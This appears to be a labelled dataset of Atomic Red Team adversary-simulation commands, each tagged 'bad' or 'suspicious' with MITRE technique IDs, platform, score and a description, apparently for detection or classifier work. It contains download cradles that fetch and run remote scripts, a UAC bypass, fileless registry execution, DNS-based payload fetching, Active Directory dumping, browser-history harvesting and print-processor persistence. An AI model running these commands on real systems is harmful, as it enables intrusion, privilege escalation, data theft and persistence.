522ce8ae8d70d522292980f5,Remove-Item $env:Temp\*BloodHound.zip -Force,Remove-Item $env:Temp\*BloodHound.zip -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Run BloodHound from local disk,T1059.001,"[""T1059.001""]",windows,0.55,True,"Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating ""SharpHound Enumeration Completed"". Upon completion, final output will be a *BloodHound.zip file.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b1ca227266966e3cba4fd4a8,"write-host ""Remote download of SharpHound.ps1 into memory, followed by execution of the script"" -ForegroundColor Cyan IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1'); Invoke-BloodHound -OutputDirectory $env:Temp Start-Sleep 5","write-host ""Remote download of SharpHound.ps1 into memory, followed by execution of the script"" -ForegroundColor Cyan IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1'); Invoke-BloodHound -OutputDirectory $env:Temp Start-Sleep 5",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Run Bloodhound from Memory using Download Cradle,T1059.001,"[""T1059.001""]",windows,0.9,False,"Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating ""SharpHound Enumeration Completed"". Upon completion, final output will be a *BloodHound.zip file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4aa61ca81c08fc4c35b42f2f,"Powershell.exe ""IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'""","Powershell.exe ""IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Invoke-AppPathBypass,T1059.001,"[""T1059.001""]",windows,0.9,False,"Note: Windows 10 only. Upon execution windows backup and restore window will be opened.

Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d71ada9bef948373417dba29,"powershell.exe -exec bypass -noprofile ""$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText""","powershell.exe -exec bypass -noprofile ""$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Powershell MsXml COM object - with prompt,T1059.001,"[""T1059.001""]",windows,0.9,False,"Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, ""Download Cradle test success!"" will be displayed.

Provided by https://github.com/mgreen27/mgreen27.github.io
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ac82087373ee6ee848b9486,"""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -exec bypass -noprofile ""$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX""","""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -exec bypass -noprofile ""$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Powershell XML requests,T1059.001,"[""T1059.001""]",windows,0.9,False,"Powershell xml download request. Upon execution, ""Download Cradle test success!"" will be dispalyed.

Provided by https://github.com/mgreen27/mgreen27.github.io
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
651755f9cfa342e6a85acd24,"C:\Windows\system32\cmd.exe /c ""mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()""","C:\Windows\system32\cmd.exe /c ""mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Powershell invoke mshta.exe download,T1059.001,"[""T1059.001""]",windows,0.9,False,"Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display ""Download Cradle test success!"".

Provided by https://github.com/mgreen27/mgreen27.github.io
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8df0beea96765f097898cdf8,"# Encoded payload in next command is the following ""Set-Content -path ""$env:SystemRoot/Temp/art-marker.txt"" -value ""Hello from the Atomic Red Team"""" reg.exe add ""HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam"" /v ART /t REG_SZ /d ""U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="" /f iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))","# Encoded payload in next command is the following ""Set-Content -path ""$env:SystemRoot/Temp/art-marker.txt"" -value ""Hello from the Atomic Red Team"""" reg.exe add ""HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam"" /v ART /t REG_SZ /d ""U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="" /f iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,PowerShell Fileless Script Execution,T1059.001,"[""T1059.001""]",windows,0.9,False,"Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open ""C:\Windows\Temp"" and verify that
art-marker.txt is in the folder.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cbc4ee552373d60141dfec85,Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore,Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,PowerShell Fileless Script Execution,T1059.001,"[""T1059.001""]",windows,0.55,True,"Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open ""C:\Windows\Temp"" and verify that
art-marker.txt is in the folder.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e6b61296b3a202193f064c4c,"Add-Content -Path #{ads_file} -Value 'Write-Host ""Stream Data Executed""' -Stream 'streamCommand' $streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand' Invoke-Expression $streamcommand","Add-Content -Path #{ads_file} -Value 'Write-Host ""Stream Data Executed""' -Stream 'streamCommand' $streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand' Invoke-Expression $streamcommand",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,NTFS Alternate Data Stream Access,T1059.001,"[""T1059.001""]",windows,0.9,False,"Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, ""Stream Data Executed"" will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e5cb5b7befdc16068b67a305,Remove-Item #{ads_file} -Force -ErrorAction Ignore,Remove-Item #{ads_file} -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,NTFS Alternate Data Stream Access,T1059.001,"[""T1059.001""]",windows,0.55,True,"Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, ""Stream Data Executed"" will be displayed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
55aec127c2817e978cc74547,"New-PSSession -ComputerName #{hostname_to_connect} Test-Connection $env:COMPUTERNAME Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value ""T1086 PowerShell Session Creation and Use"" Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use","New-PSSession -ComputerName #{hostname_to_connect} Test-Connection $env:COMPUTERNAME Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value ""T1086 PowerShell Session Creation and Use"" Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,PowerShell Session Creation and Use,T1059.001,"[""T1059.001""]",windows,0.9,False,"Connect to a remote powershell session and interact with the host.
Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71a0a413258c89379397061b,Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop,Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,ATHPowerShellCommandLineParameter -Command parameter variations,T1059.001,"[""T1059.001""]",windows,0.9,False,Executes powershell.exe with variations of the -Command parameter,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
493f5e4bfab10deb3c2b76de,Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop,Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments,T1059.001,"[""T1059.001""]",windows,0.9,False,Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5e3cb8e0e625eb0cffeb498a,Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop,Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,ATHPowerShellCommandLineParameter -EncodedCommand parameter variations,T1059.001,"[""T1059.001""]",windows,0.9,False,Executes powershell.exe with variations of the -EncodedCommand parameter,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2435c297f8f809038afabcbb,Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop,Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments,T1059.001,"[""T1059.001""]",windows,0.9,False,Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e08bc1221d7a55df17c648e,powershell.exe -e #{obfuscated_code},powershell.exe -e #{obfuscated_code},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,PowerShell Command Execution,T1059.001,"[""T1059.001""]",windows,0.9,False,"Use of obfuscated PowerShell to execute an arbitrary command; outputs ""Hello, from PowerShell!"". Example is from the 2021 Threat Detection Report by Red Canary.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43cf75277681e55fb6ace6a4,"$malcmdlets = #{Malicious_cmdlets} foreach ($cmdlets in $malcmdlets) { ""function $cmdlets { Write-Host Pretending to invoke $cmdlets }""} foreach ($cmdlets in $malcmdlets) { $cmdlets}","$malcmdlets = #{Malicious_cmdlets} foreach ($cmdlets in $malcmdlets) { ""function $cmdlets { Write-Host Pretending to invoke $cmdlets }""} foreach ($cmdlets in $malcmdlets) { $cmdlets}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,PowerShell Invoke Known Malicious Cmdlets,T1059.001,"[""T1059.001""]",windows,0.9,False,Powershell execution of known Malicious PowerShell Cmdlets,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4f221cadddf8298d857ca460,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing) Invoke-AllChecks,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing) Invoke-AllChecks,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,PowerUp Invoke-AllChecks,T1059.001,"[""T1059.001""]",windows,0.9,False,"Check for privilege escalation paths using PowerUp from PowerShellMafia
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4cb2915dbb514a604aa31525,"# creating a custom nslookup function that will indeed call nslookup but forces the result to be ""whoami"" # this would not be part of a real attack but helpful for this simulation function nslookup { &""$env:windir\system32\nslookup.exe"" @args | Out-Null; @("""",""whoami"")} powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]","# creating a custom nslookup function that will indeed call nslookup but forces the result to be ""whoami"" # this would not be part of a real attack but helpful for this simulation function nslookup { &""$env:windir\system32\nslookup.exe"" @args | Out-Null; @("""",""whoami"")} powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Abuse Nslookup with DNS Records,T1059.001,"[""T1059.001""]",windows,0.9,False,"Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
[reference](https://twitter.com/jstrosch/status/1237382986557001729)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c82189ec7c0295493c1f9a7f,#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory},#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,SOAPHound - Dump BloodHound Data,T1059.001,"[""T1059.001""]",windows,0.9,False,"Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
src: https://github.com/FalconForceTeam/SOAPHound
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b7e3cf488bedef90e9bd92b,#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename},#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,SOAPHound - Build Cache,T1059.001,"[""T1059.001""]",windows,0.9,False,"Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
src: https://github.com/FalconForceTeam/SOAPHound
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
426b645c6e8c711440f5321e,"find / -path ""*.mozilla/firefox/*/places.sqlite"" 2>/dev/null -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null","find / -path ""*.mozilla/firefox/*/places.sqlite"" 2>/dev/null -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux,T1217,"[""T1217""]",linux,0.9,False,"Searches for Mozilla Firefox's places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20097ea98ae6f63639bcfe68,rm -f #{output_file} 2>/dev/null,rm -f #{output_file} 2>/dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux,T1217,"[""T1217""]",linux,0.55,True,"Searches for Mozilla Firefox's places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ce86a6edba15d9c9b059187a,"find / -path ""*/Firefox/Profiles/*/places.sqlite"" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null","find / -path ""*/Firefox/Profiles/*/places.sqlite"" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Mozilla Firefox Bookmark Database Files on macOS,T1217,"[""T1217""]",macos,0.9,False,"Searches for Mozilla Firefox's places.sqlite file (on macOS) that contains bookmarks and lists any found instances to a text file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
188cd96798f07eff00e63ee3,"find / -path ""*/Google/Chrome/*/Bookmarks"" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null","find / -path ""*/Google/Chrome/*/Bookmarks"" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Google Chrome Bookmark JSON Files on macOS,T1217,"[""T1217""]",macos,0.9,False,"Searches for Google Chrome's Bookmark file (on macOS) that contains bookmarks in JSON format and lists any found instances to a text file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ce5f6a808c169a37a29f8f7,"find / -path ""*/.config/chromium/*/Bookmarks"" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null","find / -path ""*/.config/chromium/*/Bookmarks"" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Google Chromium Bookmark JSON Files on FreeBSD,T1217,"[""T1217""]",linux,0.9,False,"Searches for Google Chromium's Bookmark file (on FreeBSD) that contains bookmarks in JSON format and lists any found instances to a text file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
906a0cccef707c8f2b7e1fb4,Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force,Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Google Chrome / Opera Bookmarks on Windows with powershell,T1217,"[""T1217""]",windows,0.9,False,"Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks.
Upon execution, paths that contain bookmark files will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
89f10ca0eae01553e5282518,where /R C:\Users\ Bookmarks,where /R C:\Users\ Bookmarks,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt,T1217,"[""T1217""]",windows,0.9,False,"Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks.
Upon execution, paths that contain bookmark files will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
443628eb535220a4ce05f6fc,where /R C:\Users\ places.sqlite,where /R C:\Users\ places.sqlite,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Mozilla Firefox bookmarks on Windows with command prompt,T1217,"[""T1217""]",windows,0.9,False,"Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.
Upon execution, paths that contain bookmark files will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8b289b9398187fe582cd2352,dir /s /b %USERPROFILE%\Favorites,dir /s /b %USERPROFILE%\Favorites,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Internet Explorer Bookmarks using the command prompt,T1217,"[""T1217""]",windows,0.9,False,This test will list the bookmarks for Internet Explorer that are found in the Favorites folder,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba90e2b2aa1bf823ae4537a4,"find / -path ""*/Safari/Bookmarks.plist"" 2>/dev/null >> #{output_file} cat #{output_file}","find / -path ""*/Safari/Bookmarks.plist"" 2>/dev/null >> #{output_file} cat #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,List Safari Bookmarks on MacOS,T1217,"[""T1217""]",macos,0.9,False,"This test searches for Safari's Bookmarks file (on macOS) and lists any found instances to a text file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
25eeacca3a7f63c9b6106958,"$URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' $History = Get-Content -Path ""#{history_path}"" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique $History | Out-File -FilePath ""#{dest_path}""","$URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' $History = Get-Content -Path ""#{history_path}"" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique $History | Out-File -FilePath ""#{dest_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,Extract Edge Browsing History,T1217,"[""T1217""]",windows,0.9,False,"This test will extract Microsoft Edge browser's history of current user
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cbc9b38d58e87e865421d28a,"Remove-Item -Path ""#{dest_path}""","Remove-Item -Path ""#{dest_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,Extract Edge Browsing History,T1217,"[""T1217""]",windows,0.55,True,"This test will extract Microsoft Edge browser's history of current user
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2fe0f2c1d725e21eaa8e1b7b,"$Username = (whoami).Split('\')[1] $URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' $History = Get-Content -Path ""$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique $History | Out-File -FilePath ""$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt""","$Username = (whoami).Split('\')[1] $URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' $History = Get-Content -Path ""$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique $History | Out-File -FilePath ""$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,Extract chrome Browsing History,T1217,"[""T1217""]",windows,0.9,False,"This test will extract browsing history of the chrome user
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
92486f5f60192fbce30a69c6,"Remove-Item -Path ""$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt""","Remove-Item -Path ""$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1217/T1217.yaml,Extract chrome Browsing History,T1217,"[""T1217""]",windows,0.55,True,"This test will extract browsing history of the chrome user
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
50f4372ff69685955a15dac9,"if( $(get-service -Name spooler).StartType -eq ""Disabled"") {Set-Service -Name ""spooler"" -StartupType Automatic} net stop spooler Copy-Item ""$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll"" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam"" /v ""Driver"" /d ""AtomicTest.dll"" /t REG_SZ /f net start spooler if(#{restart}){ Restart-Computer }","if( $(get-service -Name spooler).StartType -eq ""Disabled"") {Set-Service -Name ""spooler"" -StartupType Automatic} net stop spooler Copy-Item ""$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll"" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam"" /v ""Driver"" /d ""AtomicTest.dll"" /t REG_SZ /f net start spooler if(#{restart}){ Restart-Computer }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.012/T1547.012.yaml,Print Processors,T1547.012,"[""T1547.012""]",windows,0.9,False,"Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors.
The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Note: The test assumes a x64 Windows operating system.

The payload source code is based on a blog post b",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ac6c6c45c771ddd24b832d8,"net stop spooler rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue remove-item ""HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam"" -Force -ErrorAction SilentlyContinue net start spooler","net stop spooler rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue remove-item ""HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam"" -Force -ErrorAction SilentlyContinue net start spooler",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.012/T1547.012.yaml,Print Processors,T1547.012,"[""T1547.012""]",windows,0.55,True,"Establishes persistence by creating a new print processor registry key under 